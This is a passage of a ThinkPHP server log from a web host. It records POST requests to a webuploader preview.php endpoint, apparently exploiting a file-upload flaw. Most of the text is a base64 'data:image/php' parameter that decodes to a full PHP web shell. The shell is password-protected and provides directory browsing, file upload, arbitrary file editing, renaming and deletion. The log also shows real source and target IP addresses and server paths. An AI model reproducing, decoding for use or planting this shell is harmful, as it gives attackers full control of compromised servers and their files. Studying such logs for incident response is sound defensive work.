AwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:04+08:00 ] 119.42.146.234 POST 59.110.137.245/static/hui/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002766s] [吞吐率:361.55req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCi